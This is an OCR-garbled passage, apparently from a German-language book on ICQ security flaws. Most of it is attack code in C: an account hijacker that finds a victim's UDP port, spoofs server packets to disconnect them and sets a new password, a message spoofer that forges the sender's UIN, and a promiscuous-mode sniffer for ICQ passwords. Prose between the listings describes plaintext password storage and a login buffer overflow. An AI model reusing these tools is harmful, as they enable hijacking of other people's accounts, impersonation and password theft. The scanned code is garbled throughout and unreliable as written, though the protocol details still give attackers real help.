if ( -1 ==-=err ) { perror("VerifyUDPPort - Select"); exit(-1); }
if (lerr ) break;

junksize = sizeof ( struct sockaddr );

err = recvfrom s_icnp, packet, 1500, O,

& unkaddr, & unksize );

if ( -1 ==-=err ) { perror("VerifyUDPPort - recvfrom ");
exit(-1); }

if ( (byte(*packet,|P_PROTOCOL ) != | PPROTO ICWP ) ||
(dword(*packet, IP_SRC) != *((u32 *)&ddr) ) )

goto check_ti nmeout;

len = ( byte(*packet, 0 ) & OxOF ) * 4;

i cnphdr = packet + len;

if ( (byte(*icnphdr, | CMP_TYPE ) !=3) ||

(byte(*icnphdr, I CVP_CODE ) !'=3) )

}
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goto check_ti meout;

fiphdr = icnphdr + | CMP_END + 4/*cl ear error code*/;
len = ( byte(*fiphdr, 0 ) & OxOF ) * 4,

if ( (byte(*fiphdr,!P_PROTOCOL ) != | PPROTO UDP ) ||
( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr) ) ) )
goto check_ti meout;

fudphdr = fiphdr + |len;

if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {
got _unreach = 1; break; }

check_timeout:

gettimeof day( &end_time, NULL );

} while ( ( end_tine.tv_sec - start_time.tv_sec ) < verify_secs

)
close( s_icnmp ); close( rawsock);

if ( got_unreach ) return FAI LURE;
el se return SUCCESS;

t ypedef
struct foobar
{
i nt next ;
i nt prev;
ulé remport;
int times;
}
port _i nfo;
#def i ne
MAX_BURST 128

#define UNUSED_HEAD
MAX_BURST + 1

#defi ne

UNUSED_TAI L MAX_BURST + 2
#defi ne

LI VE_HEAD MAX_BURST + 3
#defi ne

LI VE_TAI L MAX_BURST + 4
#defi ne FI RST_LPORT

55000
#def i ne

SEND_COUNT 3
#define NEXT(i) List[(i)].next
#define PREV(i) List[(i)].prev
#define PORT(i) List[(i)].remport
#define TIMES(i) List[(i)].tines

int UDPScan( struct in_addr addr, ul6
start, ul6é end, ul6é * tport )

{
int unused_head;
i nt unused_tail;
int I'i ve_head;
i nt live_tail;
i nt i
port_info List[ LIVEETAIL + 1

1
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int Current[ MAX_BURST ];

int cur_mn, cur_max;
int now_port;

int del ay;

int ny_port;

int cur_send;

struct tinmeval wait_tine;

fd_set

rdfs;

i nt err;

int s_icnp, rawsock;

struct in_addr |ocal addr;

*tport = O;

if ( GetLocal Address(addr, & ocal addr) == FAILURE ) {
perror (" GetLocal Address"); return FAILURE;, }

s_icnp = Createl CVPSocket () ;

if ( s_icnp == FAILURE ) {

perror("Getting | CMP socket"); return FAILURE, }

rawsock = Creat eRawSocket ();

if ( rawsock < 0 ) {

perror("Getting Raw socket"); return FAILURE, }

FD ZERQ( &rdfs );

FD SET( s_icnp, &dfs );

List[ LIVE TAIL J.next = -1; List[ LIVE TAIL ].prev = LIVE_HEAD;
List[ LIVETAIL J.remport = 0; List[ LIVE HEAD ].prev = -1;

List[ LIVE_HEAD ].next = LIVE TAIL; List[ LIVE_ HEAD ].remport =
0;

List[ UNUSED TAIL ].next = -1; List[ UNUSED TAIL ].prev = UNUSED HEAD,
List[ UNUSED TAIL ].remport = 0; List[ UNUSED HEAD ].prev = -1;

Li st[ UNUSED HEAD ].next = UNUSED TAIL;

Li st[ UNUSED HEAD ].remport = O;

for (i =0; i < MAX_BURST ; i++ ) {

PREV( i ) = PREV( UNUSED TAIL ); NEXT( i ) = UNUSED TAIL;

NEXT( PREV( i ) ) =1i; PREV( NEXT( i ) ) =i; PORT( i ) = 0;

TIMES( i ) = SEND_COUNT; }

now port = start;

cur_mn = now_port;

cur _nmax MAX_BURST;
my_port = FI RST_LPORT;

cur_send = 16;
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while (1) {

int

i nt

cur;

cnt;

cur_nmax = cur_send;

cur_mn = now_port;

cur = List[ LIVE _HEAD ]. next;
cnt = 0;
while ( NEXT(cur) !'=-1) {

if (lcur_max ) {

br eak;

}

cnt

if ( SendUDP(rawsock, |ocal addr, addr,

nmy_port,

++;

perror ("Sendi ng UDP packet");

return FAI LURE;

}

cur _max--;

TI MES(cur) --;

cur

NEXT(cur);

if ( NEXT(cur) > LIVETAIL ) {

printf("Ugh! % \n", NEXT(cur) );

exit(-1);

int

i =0; i <cur_max ; i ++) {

node;

if ( cur_mn >end)

br eak;

node = NEXT( UNUSED HEAD );

if

( -1 == NEXT( node ) )

br eak;

NEXT(

PREV(

PREV(

NEXT(

NEXT(

PREV(

PORT(

UNUSED HEAD ) = NEXT( node );
NEXT(node) ) = UNUSED HEAD;
node ) = PREV( LIVE TAIL );

node ) = LIVE_TAIL;

PREV( node ) ) node;

NEXT( node ) )

node;

node ) = cur_mn + i;

PORT(cur) ) == FAILURE ) {
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if ( SendUDP(rawsock, | ocal addr,

addr,

ny_port, cur_mn+i ) == FAILURE ) {

perror("Sendi ng UDP packet");

return FAI LURE;

}

Current[ i ] = node;

}

if ( ( nowport > end ) &&
(ltent ) ) |

printf("Found nothing!'\n");
return SUCCESS;

}

now_port += cur_nax;

/*

* Delay, waiting for responses.

* operation tinmes out, nmeaning that we waited | ong enough

* for a packet..

*/
cnt = 0;
while (1) {

int junksize;

static struct sockaddr junkaddr;

static u8 packet[1500];

Conti nue until

i nt I en;

u8 * jcrmphdr, * fiphdr, *fudphdr;
int got _port;

i nt cur;

wait_tinme.tv_usec = 0;
wait_tine.tv_sec = 5;

FD SET( s_icnp, &rdfs );

err = select( s_icnp+l, &rdfs,
?f (-1 === rr ) {

perror (" UDPSCAN - Select");
return FAI LURE,

}

if (lerr ) {

br eak;

}

junksize = sizeof ( struct sockaddr );

t he

NULL, NULL, &wait_tine
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err = recvfrom s_icnp, packet, sizeof(packet), O,
& unkaddr, & unksize );

if (-1 ==-werr ) {

perror (" UDPSCAN - recvfrom ");

exit(-1);

}

if ( (byte(*packet,|P_PROTOCCL ) != IPPROTOICWP ) ||
(dword(*packet, IP_SRC) != *((u32 *)&addr) ) )
continue;

len = ( byte(*packet, 0 ) & OxOF ) * 4;

i cnphdr = packet + len;

if ( (byte(*icnphdr, |CMP_TYPE ) !=3) ||
(byte(*icnphdr, | CMP_CODE ) !=3 ) )

conti nue;

fiphdr = icnphdr + I CVP_END + 4/*clear error code*/;
len = ( byte(*fiphdr, 0 ) & OxOF ) * 4;

if ( (byte(*fiphdr, | P_PROTOCCL ) != I PPROTO UDP ) ||
( (dword(*fiphdr, IP_DST ) !=

*((u32 *)&addr) ) ) )

conti nue;

fudphdr = fiphdr + len;

got _port = ntohs( word(*fudphdr, UDP_DEST ) ) ;

if ( ( got_port >=cur_mn) &&

( got_port < (cur_mn+cur_max) ) ) {

cur = Current[ got_port - cur_mn ];

PREV( NEXT(cur) ) = PREV( cur );

NEXT( PREV(cur) ) = NEXT( cur );

PREV( cur ) = PREV( UNUSED TAIL );

NEXT( cur ) = UNUSED TAIL;

NEXT( PREV( cur ) ) = cur;

PREV( NEXT( cur ) )

cur;
cnt ++;

conti nue;

}

| *

* if we get here, then it was one of the ol der
* ones, so look through the array for it

*/

cur = NEXT( LIVE_HEAD );
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while ( NEXT(cur) !'=-1) {

if ( PORT(cur) == got_port ) {
PREV( NEXT(cur) ) = PREV( cur );
NEXT( PREV(cur) ) = NEXT( cur );
PREV( cur ) = PREV( UNUSED TAIL );
NEXT( cur ) = UNUSED TAIL;

NEXT( PREV( cur ) ) = cur;

br eak;

}

cur = NEXT(cur);

}

if ( NEXT(cur) ==-1) {

printf("RESPONSE FOR PORT % UNEXPECTED! \n",
got _port);

} else {

cnt ++;

}

}

printf("[UDP Scan working] Got %l responses \n", cnt );

if (cnt < ( (cur_send/4) * 3) ) {
cur_send /= 2;

if ( cur_send < 16 ) {

cur_send = 16;

}

} else {

cur_send *= 2;

if ( cur_send > MAX_BURST ) {
cur_send = MAX BURST;

} } cur = NEXT( LIVE_HEAD );

while ( NEXT(cur) !'=-1) {

if (!TIMES(cur) ) {

printf("SCORE! Port is % \n", PORT(cur));
close( s_icnp );

cl ose( rawsock);

*tport = PORT(cur);

return SUCCESS;

}

cur = NEXT(cur);
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}
}

close( s_icnp );

cl ose( rawsock);

return SUCCESS;

}
#def i ne COMVAND_CHANGEPASSWORD

0x049C

#defi ne COMVAND_LOGOFF

0x0438

#def i ne RESPONSE_ERROR

i nt

0x00F0

WitePacket (u8 *

data_ptr,

i nt * size,

char * format,

)

u8
* ptr;

va_list

u32

ap,

dwor d_par am

ulé

wor d_par am

us

byt e_param

u8

* string_param

int

string_l ength;

int

* data_l ength;

ap = va_start( ap, format );

ptr = data_|

ptr;

while ( *format ) {

switch ( *format++ ) {

case 'L':

/* dword */

dwor d_param = va_arg(ap, u32);

*(ptr+) =

*(ptr++) =

“(ptres) =

*(ptr++)
br eak;

case 'W:

dwor d_par am & OxFF;
(dword_param >> 8 ) & OxFF;
(dwor d_param >> 16) & OxFF;

(dwor d_param >> 24) & OxFF;

/* word */

wor d_param = va_arg(ap, ul6 );

*(ptr++) =

wor d_par am & OxFF;
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}
u32

ulé

#def i
#def i
#def i
#def i
#def i
#def i
#def i

#def i

*(ptr++) =
br eak;

case 'B': /
byt e_param
*(ptr++) =
br eak;

case 'S': /
string_para
string_|l eng
*(ptr++) =
*(ptr++) =
mencpy( ptr
ptr += stri
br eak;

case 'D:
data_l ength
string_para
mencpy( ptr
ptr += *dat
br eak;
defaul t:
fprintf(std
return FAIL
}

}

/* return t

*size = (pt

(word_param >> 8 ) & OxFF;

* Byte */
= va_arg(ap, u8 );

byt e_param

* 1CQ string */

m = va_arg(ap, u8 * );

th = strlen( string_param) + 1;

(string_length ) & OxFF;

(string_length >> 8) & OxFF;

, string_param string_length );

ng_l engt h;

/* pure data with length byte */

= va_arg(ap, int *);

m = va_arg(ap, u8 * );

, string_param, *data_length );

a_l engt h;

err,"Invalid type % \n", *(format-1)

URE;

he size taken up */

r - data_ptr );

return SUCCESS;

icg_uin =

- 1,

icg_seq = 0;

ulé icg_seq2 = 0;
ne

| CQ4_VER 0
ne | CQ4_RANDOM

2
ne

| CQ4_ZERO 4
ne | CQ4_COMVAND

6
ne

| CQ4_SEQ 8
ne

| CQA_SEQ 10
ne

1CQ4_U D 12
ne
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| CQ4_CHECK 16

#def i ne
| CQ4_END 20
voi d create_icq4_hdr(
u8 * data_ptr,
ulé any_nunber,
ulé command,
int dat a_si ze
)
{
u32 check;
u32 check2;
u32 keyval ue;
i nt count ;
i nt | engt h;
i nt i;
u8 of s;
u8 val ;

length = data_size + | CU4_END;

nenset ( data_ptr, 0, |CQ4_END );

word(*data_ptr, 1CQA_VER ) = 0x4;
word(*data_ptr, | CQ4_RANDOM) = any_nunber;

word(*data_ptr, | CQ4_COMWAND ) = command;
word(*data_ptr, 1CQ4_SEQ) = icq_seq;

word(*data_ptr, |CQ4_SEQR ) = icq_seq2; dword(*data_ptr, | CQ4_UD) =
i cq_uin;
dword(*data_ptr, | CQ4_CHECK) =
0x0;
check = ( *(data_ptr + 8) << 24) | (
*(data_ptr + 4) << 16 ) |

( *(data_ptr + 6) );

( *(data_ptr + 2) << 8) |
= *(data_ptr +

ofs = random() % ength; val
ofs );

check2 = ( ofs << 24 ) |
( val << 16 );

of s = randonm() %
256; val = icqg_check_data] ofs ];

check2 |= ( ofs << 8 ) | ( val ); check2 ~= 0xO0FFOOFF; check ~= check2;
dword(*data_ptr, | CQ4_CHECK ) =
check;
keyvalue = length * 0x66756B65;
keyval ue += check;
count = ( length +
3 ) / 4; count += 3; count /= 4,
for (
i =0; i <count ; i++) {

u32 * r;

if (i ==4) continue; r = (u32 *)(data_ptr + (i*4) );
*r A= (keyval ue + icq_check_data[i*4]

)i}
word(*data_ptr, |CQ4_VER ) = 0x4,

/* NECESSARY! */

}

voi d
create_i cq3_header ( u8 * data_ptr, int * size,
ulé command,

ulé seql,
ulé seqg2, u32 UN)

{
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i nt len, len2, err, ofs, val;
u32 check, check2;
err = WitePacket( data_ptr, & en, "WWWAL",
0x03, command, seql, seq2, U N);
if (err == FAILURE ) {
printf("Programer Error in create_icq3_header\n"); exit(-1); }
check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
ofs = randon() % len; val = *(data_ptr + ofs );
check2 = ( ofs << 24 ) | ( val << 16 );
of s = randon() % 256;
val = icq_check_data[ ofs ];
check2 |= ( ofs << 8 ) | ( val );
check2 "= OxO00FFOOFF; check ~= check2;
err = WitePacket( (data_ptr + len), & en2,"L", check );
*sizg =len + len2; }
static
us packet[ 1500 ];

void main( int argc, char ** argv );
void main( int argc, char ** argv

)
{
i nt count;
i nt i;
ulé i, k;

struct in_addr * addr_list;
struct in_addr * target_list;
i nt err;

struct in_addr you;

struct in_addr ne;

i nt
rawsock;

struct sockaddr raddr;

struct sockaddr_in * r_in = (struct sockaddr_in *)&r addr;

i nt si ze;

u8 * data_ptr;
us * hdr_ptr;
int hdr _si ze;
ulé your _port;
i nt retries;

i nt base_port;

if (argc <5) {

fprintf(stderr,
"--:--::[ |CQH|Jaak ]:::::------------------------:: -------------- \n"
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" Aut hor :

wumpus @ nnocent . com * Copyri ght
(c) 1998 Wl vesbane\ n"

"Usage:

\n"

hi jaak [options] icqg-server
target-uin target-ip new password \n"

“\ "

"icq-server:

Packets will be *spoofed* fromthe (possibly plural) \n"

| P addresses of this paraneter. \n"

"target-uin:

"\ nNo

"\ e
D Ch! \n\n"
"target-ip: Finding this is up to you.

May the farce be with you\n"

"\ nnew password: D Ch! Take a guess \n"

options are available at this
time.\n" );

exit(-1);

}

base_port = 0;

if ( argc >5) { base_port = atoi( argv[5] ); }

if (!base_port) base_port = 1024;

icg_uin = atol ( argv[2] );

if (licg_uin) {

fprintf(stderr, "Who do you want ne to kill, boss? \n");
exit(-1); }

err = MultiResol ve(argv[3], &ount, & arget _list);

if (err == -1) { herror("Resolving target\n"); exit(-1); }
if ( count > 1) { fprintf(stderr,

"Hey! Moron! You need to specify an UNAMBI GUOUS victimIP. \n"
)

exit(-1); }

you = target_list[O0];

free( target_list );

err = Multi Resol ve(argv[ 1], &ount, &ddr _list);

if (err == -1 ){ herror("Resolving I CQ server"); exit(-1); }
r_in->sin_port = htons( 1984 ); /* DON T CARE */
r_in->sin_famly = AF_INET; r_in->sin_addr = you;

hdr_ptr = packet + | P_END + UDP_END;

rawsock = Creat eRawSocket ();

printf("** Scanning for luser's 1CQ port ...\n");

your _port = base_port;

while ( 1) { err = UDPScan(you, your_port, 65535, &your_port

1
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if ( (err ==-1) ]| ( 'your_port ) ) { fprintf(stderr,
"DOh! Can't find a target
port. Better check that target |IP again!'\n");
exit(-1); }
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
fprintf(stderr,
"UDP scan found
invalid port. Retrying... H't CTRL-Cto exit\n")
continue; }
br eak;
}
printf("*** Got luser's port at % \n", your_port );
create_i cq3_header (hdr_ptr, &hdr_size, RESPONSE_ERROR, O,
0, icqguin ); retries =3
while ( retries-- ) {
printf("Trying to knock luser offline. Attenpt %\ n",
3 - retries );
for (i =0; i <count ; i++) {
i nt psi ze;
psize = | P_END + UDP_END + hdr_si ze;
make_i p_hdr( packet, psize, |PPROTO UDP, 0x666, O,
addr _list[i], you, Ox7F)
make_udp_hdr ( packet, psize - |P_END, 4000, your_port );
err = sendto( rawsock, packet, psize, O,
& addr, sizeof(raddr));
if (err !'=psize) { perror("Sending"); exit(-1); }
}
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
sleep( 3); /* Gve 'emsone tinme */
if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
sl eep(3);
}
printf("Retries is % \n", retries );
if ( O0>retries) { fprintf(stderr,
"Uh Ch! Sonething ain't
working. Can't toast the luser. Sorry, dude.\n");
exit(-1); }
/* more time? how long does it take to reconnect? */
sl eep(16);
printf("** Scanning for luser's new_1CQport ...\n");
while (1) {

err = UDPScan(you, your_port, 65535, &your_port );
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if ( (err ==-1) || ( 'your_port ) ) { fprintf(stderr,
"D Oh! Can't find the new port! Maybe
your target is smarter than you?\n");
exit(-1); }
if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
fprintf(stderr,
"New UDP scan found
invalid port. Retrying... Ht CITRL-Cto exit\n");
continue; } break; }
printf("*** Got luser's new connection at % \n", your_port );
printf("*** H jaaking account now...(*LONG" version)\n");
for ( k =0, k <14 ; k++t ) {
for (j =07 ] <14 j++) {
int psi ze;
icg_seq = k; icqg_seq2 =j;
data_ptr = hdr_ptr + | CQ4_END;
WitePacket( data_ptr, &size, "S',argv[4] );
create_icqd4_hdr(hdr_ptr, randon() &xFFFF,
COVMAND_CHANGEPASSWORD, si ze ) ;
hdr _size = | CQ4_END;
for (i =0; i <count ; i++) {
psize = | P_END + UDP_END + hdr_size + size;
make_i p_hdr( packet, psize, | PPROTO_UDP,
0x666, 0, you, addr_list[i], OX7F);
make_udp_hdr ( packet, psize - | P_END,
your _port, 4000);
err = sendto( rawsock, packet, psize, O,
& addr, sizeof(raddr));
if (err !'=psize) { perror("Sending");
exit(-1); } usleep( 1000 );
err = sendto( rawsock, packet, psize, O,
& addr, sizeof(raddr));
if (err '=psize) {
perror (" Sending");
exit(-1);
}r i}
printf("Disconnecting the rembte luser... \n");

create_i cq3_header (hdr_ptr, &hdr_size, RESPONSE_ERROR, 0, O,

icg_uin );
for (i =0; i <count ; i++) {
int psi ze;

145



psize = | P_END + UDP_END + hdr_si ze;

make_i p_hdr( packet, psize, |PPROTO UDP, 0x666, O,
addr _list[i], you, OX7F);

make_udp_hdr ( packet, psize - |P_END, 4000, your_port );
err = sendto( rawsock, packet, psize, O,

& addr, sizeof(raddr));

if (err !'=psize) { perror("Sending"); exit(-1); } }
free( addr_list );

}

Mrabilis warnte offiziell vor dieser Attacke. Leider sind viele Versions-
Numrern vergangen, bis ein Cient verdffentlicht wrde, der nicht nehr
anfallig auf diese Attacke war. Mrabilis hatte diese Sicherheitslicke gar
ni cht erst entstehen | assen dirfen, indemsie das Protokoll der

O fentlichkeit zur Anal yse préasentierten.

| P-Sniffing durch TCP-Pakete

Das Zusanmenspi el von Wndows NT 4.0 und | CQ 98beta funktioniert
ni cht ganz tadell os, wenn es um das Verhindern des Freigebens interner
| P- Adr essen geht:

1. Host A lauft nmit Wndows NT 4.0 und hat eine funktionierende
Et her net - Anbi ndung mit der nicht ins Internet gerouteten |P-Adresse
192.168. 0. 3 und noch ei ne Dial - Up-Connection per Modem nit der
dynam schen | P 205. 188. 160. 121.

2. Der Anwender am Rechner A stellt eine | CQ Konversation mt dem
Nut zer von Host B, der Wndows 98 am | aufen hat. Rechner B hat eine
Et her net - Anbi ndung mt 10.0.0.7 und Modem nit der statischen IP
195. 24. 64. 6.

3. Die TCP-Kommuni kation findet nun genau zw schen den |ps
205.188.160. 121 und 195.24.64.6 statt.

Ei n nun durch 1 CQ generiertes Paket steckt normal erweise die externe |P-
Adresse doppelt ins Ende der TCP-Daten (1952464619524646). Dies ist bei
Wndows NT 4.0 jedoch I eider anders: Dort wird ans Ende der TCP- Daten
zuerst die externe |IP, danach die interne Adresse gehangt
(20518816012119216803) .

Es wurden kei ne Patches zur L6sung di eses Probl emes bei der
dargestellten Konstellation herausgegeben. Es enpfiehlt sich einfach ein
Urstieg bzw. Update, um nicht di esem sonderbaren Versi onskonfli kt
unterworfen zu sein.

Message- Spoofi ng
Seth McGann postete vor |&angerer Zeit einen sel ber geschriebenen | CQ

Spoofer in C. Dieses Programm schickt an ei nen | CQQ8-User eine Nachricht,
obei die Ursprungs-U N frei gewadhlt werden darf.
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/* icqgspoof.c -

*

* Concept, Protocol Analysis
and Codi ng: Seth MGann
* Some
functions dealing with socket scanning: icqflood.c by enkil” and
irQ
* Wth help fromny roomate
(target practice)
* And yes,
this still works with I CQ 98. Coming soon: Chat and File Spoofing
*/
#i ncl ude <stdio. h>
#i ncl ude <string. h>
#i ncl ude <sys/types. h>
#i ncl ude <sys/socket. h>
#i ncl ude <netinet/in.h>
#i ncl ude <netdb. h>
#i ncl ude <arpa/inet. h>
#i ncl ude <string. h>
int nmain(argc, argv)
int argc;

char *argv[];
struct sockaddr_in sin;

int sock,i,Xx,y;

unsi gned | ong uin;

int Port;
char buffer[16];
int connected = 1;
typedef struct icqg_prot {
unsi gned char magi cNuni 2] ;
unsi gned char U N 4];
unsi gned char unknown[ 4] ;
unsi gned char unknown2[ 2] ;
unsi gned char |ength[2];
unsi gned char strng[256];
} icqg_prot;
i cg_prot sendMessage;
unsi gned | ong tenp;
unsi gned char

bi gguy[ 1024];
if (argc !'=
6) {
fprintf(stderr,"Usage: icqspoof ip SpoofedU N nessage startport
endport\n";
exit(1l);
}
Port =
ScanPort (argv[1],atoi (argv[4]),atoi (argv[5]));
if (Port == -1) {
printf("No I1CQ Port Found =(\n");
return;
}

sendMessage. magi cNuni 0] =0x2e;
sendMessage. magi cNuni 1] =0x0;
sendMessage. unknown[ 0] =0x04;
sendMessage. unknown[ 1] =0x01;
sendMessage. unknown[ 2] =0x0F;
sendMessage. unknown[ 3] =0x0;
sendMessage. unknown2[ 0] =0x01;

sendMessage. unknown2[ 1] =0x0;
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tenp=atol (argv[3]);
sendMessage. U N[ O] =tenp &
OxFF;
sendMessage. U N[ 1] =(tenp >> 8) & OxFF;
sendMessage. Ul N[ 2] =(t enp
>> 16) & OxFF;
sendMessage. Ul N[ 3] =0;
strncpy(sendMessage. strng, argv[ 4], 256) ;
sendMessage. | engt h[ 0] =strl en(sendMessage. strng) +1;
sendMessage. | engt h[ 1] =0;
if (!(sock = socket (AF_I NET,
SOCK_STREAM 0))) {
printf("Error: Unable to creat socket, Exiting.\n");
exit(1l);
}
sin.sin_famly =
AF_| NET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(Port);
i f (connect(sock, (struct
sockaddr *) &si n, si zeof (sin))==-1) {
printf("Error Connecting to Socket\n");

return;

}

x=20;
bi gguy[ 0] =sendMessage. magi cNuni 0] ;
bi gguy[ 1] =sendMessage. nagi cNunf 1] ;
bi gguy[ 2] =sendMessage. Ul N[ 0] ;
bi gguy[ 3] =sendMessage. Ul N[ 1] ;
bi gguy[ 4] =sendMessage. Ul N[ 2] ;
bi gguy[ 5] =sendMessage. Ul N[ 3] ;

bi gguy[ 6] =0x02;

bi gguy[ 7] =0x00;

bi gguy[ 8] =OXEE;

bi gguy[ 9] =0x07;

bi gguy[ 10] =0x00;

bi gguy[ 11] =0x00;
bi gguy[ 12] =sendMessage. Ul N[ 0] ;
bi gguy[ 13] =sendMessage. Ul N[ 1] ;
bi gguy[ 14] =sendMessage. Ul N[ 2] ;
bi gguy[ 15] =sendMessage. Ul N[ 3] ;

bi gguy[ 16] =0x01;

bi gguy[ 17] =0x00;
bi gguy[ 18] =sendMessage. | engt h[ 0] ;
bi gguy[ 19] =sendMessage. | engt h[ 1] ;
for(i=0;i<sendMessage. |l ength[0];i++)
bi gguy[ x++] =sendMessage. strng[i];

bi gguy[ x++] =0x82;

bi gguy[ x++] =0xD7;

bi gguy[ x++] =0xF3;

bi gguy[ x++] =0x20;
bi gguy[ x++] =0x82;
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bi gguy[ x++] =0xD7;
bi gguy[ x++] =0xF3;
bi gguy[ x++] =0x20;
bi gguy[ x++] =0x09;
bi gguy[ x++] =0x04;
bi gguy[ x++] =0x00;
bi gguy[ x++] =0x00;
bi gguy[ x++] =0x04;
bi gguy[ x++] =0x00;
bi gguy[ x++] =0x00;
bi gguy[ x++] =0x10;
bi gguy[ x++] =0x01;
bi gguy[ x++] =OXEB;
bi gguy[ x++] =OxFF;
bi gguy[ x++] =OxFF;
bi gguy[ x++] =0xFF;
bi gguy[ x++] =0x02;
bi gguy[ x++] =0x00;
bi gguy[ x++] =0x0A;
bi gguy[ x++] =0x09;
bi gguy[ x++] =0x00;
write(sock, bi gguy, x-1);
printf("Done!l\n");
cl ose(sock);
return O;

int ScanPort(char *ipaddr, int StartlP, int
Endl P) {

struct sockaddr _in sin;

int sock, x,vy;

unsi gned | ong uin;

unsi gned | ong uin;

printf("Scanning Ports");

for (x=StartlP; x<=Endl P; ++x) {

if (!(sock = socket (AF_I NET, SOCK_STREAM 0))) {
printf("Error: Unable to connect\n");
return -1;

}

sin.sin_famly = AF_I NET;
sin.sin_addr.s_addr = inet_addr(ipaddr);
sin.sin_port = htons(x);

i f (connect(sock, (struct sockaddr*)&sin,sizeof(sin))!=-1) {
cl ose(sock);

printf("Port % Open! Spoofing...\n",x);
fflush(stdout);

return x;

}

printf(".");

fflush(stdout);

}

printf("\n");

return -1;
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Passworter im Kl art ext

Di e Damen und Herren von Mrabilis lassen i hren Chat-Clienten das Benutzer-
und POP3-Passwort in 1CQ9 imKlartext in der Datei "I CQ NewDB\ui n#. dat"
spei chern, wi e ich herausgefunden habe.

Di ese Datei kann ganz nornal nmit einem ASCI | -Editor, zum Beispiel dem
Not epad, gedffnet werden. G bt man nun sein Passwort in der Suche ein,
wird man zur Stelle katapultiert, in der das Passwort gespeichert wurde.

Es gi bt diverse Programme, die diese Aktion automatisieren kénnen, um
dem User das (vergessene) Passwort mtzuteilen. Eines der ersten heisst

erhal tlich.

Das Passwort wird gar nicht gespeichert, wenn man di ese autonati sche
Funktion in den "Security & Privacy Settings" deaktiviert, was
j edoch auf Dauer ziemich unstandlich werden kann

Server - Buf f eroverfl ow

Zack fand i mJahre 1998 eine ziemich peinliche Sicherheitslicke in Form
ei nes Renote-Bufferoverflows bei der Annel dung des I1CQ dients beim
M rabilis-Server, die jedoch durch Mrabilis seit |&ngerem behoben wurde.

Die offiziellen dients benutzen hochstens die ersten 8 Zei chen des
Passworts zur Authentifizierung; die anderen Stellen werden einfach
ignoriert. Die Linux-Clones nmachen dies nicht: Wirde nun ein Passwort
mt nmehr als 9 Zeichen an den Mrabilis-Server geschickt werden,
passiert ein Buffer-Over-Run, und man kann sich nit belibiger UN

ei nl oggen. Eine gute |CQ C one zur Durchfihrung eines sol chen Tests war

U N nusste imConfig-File die gewinschte Nummer ei ngetragen werden, und als
Passwort sinpel "123456789" (Ei nfach grodsser als die vorgesehene Lange!).
Falls nun alles klappen sollte, kann man sich als gewlinschter User ohne
gul ti ge Passwort - Ei ngabe authentifizieren | assen. Nun kénnen Nachrichten im
Nanen di eses Nutzers geschickt und enpfangen werden.

Di ese Attacke ist kein Spoofing, sondern ein sinples Einloggen unter
fal schem Nanen. Bei Spoofing kénnen namich kei ne Nachrichten i m Nanen
des anderen enpfangen werden. Dieser Trick funktioniert nicht, wenn
jemand schon nit einer giltigen U N eingel oggt ist.

Sni ffing bei Authentifizierung

Al an Cox fand eine Sicherheitslicke imschon etwas alteren

offiziellen Mrabilis-dient fur Wndows. Es kristallisieren sich be
naheren Betrachtung zwei Sicherheitsproblenme beimzienich transparenten
Protokol |l von 1CQ heraus. Da dieses Protokoll nicht offentlich einsehbar
i st, kann davon ausgegangen werden, dass noch weitere verborgene

Probl eme in Zukunft auf die | CQ Nutzer zukommen koénnten

Der erste Fehler ist eine schlichtweg dunme und faul e Hal tung der
Entwi ckl er, denn bei der Authentifizierung des ICQ dients werden die
Zugangsdaten (U N und Passwort) imKlartext an den Mrabilis-Server
geschickt. Der zweite Fehler findet sich in einer |eicht durchschaubaren
Sequenz- Nunmrer n- Wahl  bei di eser Kommuni kati on, wel che bei 0 begi nnt und
mt maxi mal 100 endet. Es ist nun einfach nbglich eine Authentifizierung
vor zut auschen oder zu entreissen, wi e das schon von | P-Spoofing und TCP-
Hi j acki ng bekannt i st.
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Fol gender C-Quel ltext denonstriert diese Verwundbarkeit, und
schniuffelt nach dem giltigen Passwort:

/*
* Snoop
ICQtraffic for a set host. Shows how sinplistic | CQ
* is

and how easy it is to snoop it.

*/

#i ncl ude <stdio. h>

#i ncl ude <string. h>
#include <stdlib. h>

#i ncl ude <signal . h>

#i ncl ude <ctype. h>

#i ncl ude <sys/socket. h>
#include <net/if.h>

#i nclude <net/if_arp. h>
#i ncl ude <netinet/in.h>
#i ncl ude <linux/ip.h>
#i ncl ude <l i nux/udp. h>

/*
* PUT THE | P ADDRESS OF THE CLI ENT TO
SNOOP HERE OR | T WONT WORK
*/
#def i ne
MY_CLI ENT_TO_WATCH 0x7F000001

static int create_socket(void)

{
int s=socket (AF_I NET, SOCK_PACKET, htons(ETH P_ALL))
if(s==-1)
{
perror("socket");
exit(1);
}
return s;
}
static void cl ose_socket (int s)
{
cl ose(s);

static void prom scuous(int s, char *iface
int onoff)

{
struct ifreq ifr
strcpy(ifr.ifr_name, iface);
if(ioctl(s, SIOCA FFLAGS, & fr)==-1)
{
perror ("SI OCA FFLAGS") ;
exit(1);
}
strepy(ifr.ifr_name, iface);
i f(onoff)
ifr.ifr_flags| =l FF_PROM SC

el se
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ifr.ifr_flags&~l FF_PROM SC,
if(ioctl(s, SIOCSIFFLAGS, &ifr)==-1)
{

perror ("SI OCSI FFLAGS") ;

exit(1l);
}

}

static __inline__ ip_p(unsigned char
*packet, int |en)

{
i f (packet[12] ==0x08 && packet [ 13] ==0x00)
return 1;
return O;

}

struct icghdr

{
unsi gned char version[2] __attribute((packed)); /* 2?2 */
unsi gned short command __attribute((packed));
unsi gned short sequence __attribute((packed));
unsigned long uid __attribute((packed));
unsi gned char data[0];

b

struct icqack

{
unsi gned char version[2] __attribute((packed)); /* 2?2 */
unsi gned short result __attribute((packed));
unsi gned short sequence __attribute((packed));
unsi gned char data[0];

b

struct icqgstring

{
unsi gned short |en;
char data[O0];

b

struct icqlogin

{

struct icqhdr hdr __attribute((packed));
unsi gned | ong dunno __attribute((packed)); /* 000006FE. L */

unsi gned short pw_len __attribute((packed));

unsi gned char pw_ data[11] __ attribute((packed));

struct in_addr addr __attribute((packed));

/* Rest is a nystery right now */
/* 0.L */

/* 2.L*/

/* 0000004C, 00000000 */

/* 00 78 */
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static void print_icq_string(struct

{

*/

